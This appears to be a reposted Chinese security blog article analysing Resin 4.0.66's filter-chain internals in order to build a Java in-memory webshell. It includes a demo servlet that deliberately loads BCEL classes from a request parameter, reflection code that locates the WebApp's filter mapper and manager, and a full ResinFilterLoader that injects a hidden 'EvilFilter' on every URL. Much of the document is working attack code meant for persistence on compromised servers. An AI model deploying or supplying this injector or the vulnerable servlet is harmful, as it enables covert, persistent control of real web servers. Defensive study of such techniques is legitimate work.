Resin内存马分析
2023-2-12 21:32:0 Author: xz.aliyun.com(查看原文) 阅读量:30 收藏

目录

1、环境搭建

Resin 4.0.66

web.xml如下:

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>

HelloServlet

package com.example.ResinDemo2;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("Get Request");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String Code = req.getParameter("s");
        try {
            (new com.sun.org.apache.bcel.internal.util.ClassLoader()).loadClass(Code).newInstance();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public void destroy() {
    }
}

HelloFilter

package com.example.ResinDemo2;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "HelloFilter",urlPatterns = "/hello-servlet")
public class HelloFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {
    }

    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        response.getWriter().println("hello world");
        chain.doFilter(request, response);
    }
}

2、Filter 分析

在Filter打个断点,开启Debug

请求/ResinDemo2-1.0-SNAPSHOT/hello-servlet

查看IDEA中的调用栈,在调用栈中找第一次调用doFilter

FilterChain过滤器链:在一个Web应用中,可以开发编写多个Filter,这些Filter组合起来称为是一个过滤器链,Web服务器根据Filter在web.xml文件中的注册顺序(mapping的配置顺序)决定先调用哪个Filter,依次调用后面的过滤器,如果没有下一个过滤器,则调用目标资源。

所以要直接找第一次调用doFilter的位置,就能更快找到每个filter是如何添加到FilterChain中。

com.caucho.server.dispatch.ServletInvocation这里第一次调用了doFilter。

在该class中检索_filterChain,在这个类中有setFilterChain,这个函数生成_filterChain。在该函数打下断点,重启resin服务,查看这个函数的调用栈。

Debug至filterchain遍历至HelloFilter时,查看调用栈,跟到FilterMapper::buildDispatchChain

跟进FilterMapper::buildDispatchChain,该函数主要是遍历FilterMapper._filterMap为FilterMapping类型的元素map,从map中获取filterName,然后调用FilterMapper._filterManager.createFilter(filterName)生成具体的Filter类,这里就是生成一个HelloFilter,调用FilterMapper._filterManager.getFilter(filterName)生成config。

调用栈继续往上回溯,在com.caucho.server.webapp.WebApp::buildInvocation中看到WebApp对象中有变量是_filterMapperFilterMapper类型)。Resin启动时,在内存中将会生成一个WebApp对象,会将filter所有相关的信息记录在这个变量中。因此如果能获取到WebApp,那么就能获取_filterMapper

WebApp的_filterMapper调用了buildDispatchChain,然后就回到先前分析的流程。

在此处断点,可见此处获取_filterMapper._filterMap中的FilterMapping类型的元素map,从map中获取filterName。所以**在构造内存马的时候,要获取到WebApp._filterMapper,在其_filterMap变量中添加FilterMapping类型的元素,并且该元素中有filterName和urlPattern两个变量。**

继续往下跟进,_filterMapper._filterManager调用createFilter

跟进FilterManager::createFilter,从_filterMapper._filterManager_filters变量(HashMap类型)中通过filterName获取一个FilterConfigImpl类型的对象config,如果config≠null,则继续。因此在构造内存马的时候需要在_filterMapper._filterManager.filters这个Hashmap中存入元素(filterName → FilterConfigImp)

继续跟进,从_filterMapper._filterManager._instances中通过FilterName,获取具体的Filter对象,这里是HelloFilter对象。因此在构造内存马的时候需要在_filterMapper._filterManager._instances这个hashmap中存入元素(filerName→恶意Filter)

返回生成的Filter

构造一个Filter的必要部分完成,

3、构造内存马

获取上下文

通过工具快速检索从上下文中获取FilterMapper

https://github.com/c0ny1/java-object-searcher

// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.caucho.server.dispatch.FilterMapper").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/admin/Documents/CodeFile/java/MiddleWare/logs/resin");
searcher.searchObject();

TargetObject = {[Ljava.lang.Thread;} 
   ---> [17] = {com.caucho.env.thread2.ResinThread2} = {com.caucho.env.thread2.ResinThread2} 
    ---> contextClassLoader = {com.caucho.loader.EnvironmentClassLoader} 
     ---> _attributes = {java.util.Map<java.lang.String, java.lang.Object>} 
      ---> [caucho.application] = {com.caucho.server.webapp.WebApp} 
         ---> _filterMapper = {com.caucho.server.dispatch.FilterMapper}

在表达式中编写

Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("_attributes");
field.setAccessible(true);
ConcurrentHashMap _attributes = (ConcurrentHashMap) field.get(obj);

WebApp webApp = (WebApp) _attributes.get("caucho.application");

Field _filterManager_field = webApp.getClass().getDeclaredField("_filterManager");
_filterManager_field.setAccessible(true);
FilterManager _filterManager = (FilterManager) _filterManager_field.get(webApp);

Field _filterMapper_field = webApp.getClass().getDeclaredField("_filterMapper");
_filterMapper_field.setAccessible(true);
FilterMapper _filterMapper = (FilterMapper) _filterMapper_field.get(webApp);

编写内存马

import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterManager;
import com.caucho.server.dispatch.FilterMapper;
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;

public class ResinFilterLoader extends AbstractTranslet {

    private static Object filterMapper = null;
    private static Object filterManager = null;
    private static String filterName = "EvilFilter";
    private static String filterClassName = "com.EvilFilter";
    private static String url = "/*";

    //加载恶意Filter到内存中
    private static synchronized void LoadFilter() throws Exception {
        try{
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        }catch (Exception e){
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter编译后的class base64编码");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }

    //获取上下文
    private static synchronized void GetWebContent() throws Exception {
        try {
            Object currentThread = Thread.currentThread();
            Object contextClassLoader = GetField(currentThread, "contextClassLoader");
            ConcurrentHashMap _attributes = (ConcurrentHashMap) GetField(contextClassLoader, "_attributes");
            Object webapp = _attributes.get("caucho.application");
            filterManager = GetField(webapp, "_filterManager");
            filterMapper = GetField(webapp, "_filterMapper");
        } catch (Exception e) {
        }
    }

    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }

    //将恶意Filter写入上下文中
    private static synchronized void InjectFilter() throws Exception {
        try{
            if (filterMapper != null && filterManager != null){
                java.lang.Runtime.getRuntime().exec("touch  /Users/lishuheng/Documents/CodeFile/java/MiddleWare/test/GetFilterMapperAndManagerOk");

                Filter characterEncodingHFilter = (Filter)Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
                Field _filterMap_field = filterMapper.getClass().getDeclaredField("_filterMap");
                _filterMap_field.setAccessible(true);
                ArrayList _filterMap = (ArrayList) _filterMap_field.get(filterMapper);
                FilterMapping filtermapping = new FilterMapping();
                filtermapping.setFilterName(filterName);
                filtermapping.setURLRegexp(url);
                _filterMap.add(filtermapping);

                Field _filters_field = filterManager.getClass().getDeclaredField("_filters");
                _filters_field.setAccessible(true);
                HashMap _filters = (HashMap) _filters_field.get(filterManager);
                FilterConfigImpl filterConfig = new FilterConfigImpl();
                filterConfig.setFilterName(filterName);
                _filters.put(filterName,filterConfig);

                Field _instances_field = filterManager.getClass().getDeclaredField("_instances");
                _instances_field.setAccessible(true);
                HashMap _instances = (HashMap) _instances_field.get(filterManager);
                _instances.put(filterName,characterEncodingHFilter);
            }
        }catch (Exception e){

        }
    }

    static {
        new ResinFilterLoader();
    }

    public ResinFilterLoader(){
        try{
            //加载恶意Filter到内存中
            LoadFilter();
            //获取上下文
            GetWebContent();
            //将恶意Filter写入上下文中
            InjectFilter();
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

文章来源: https://xz.aliyun.com/t/12147
如有侵权请联系:admin#unsafe.sh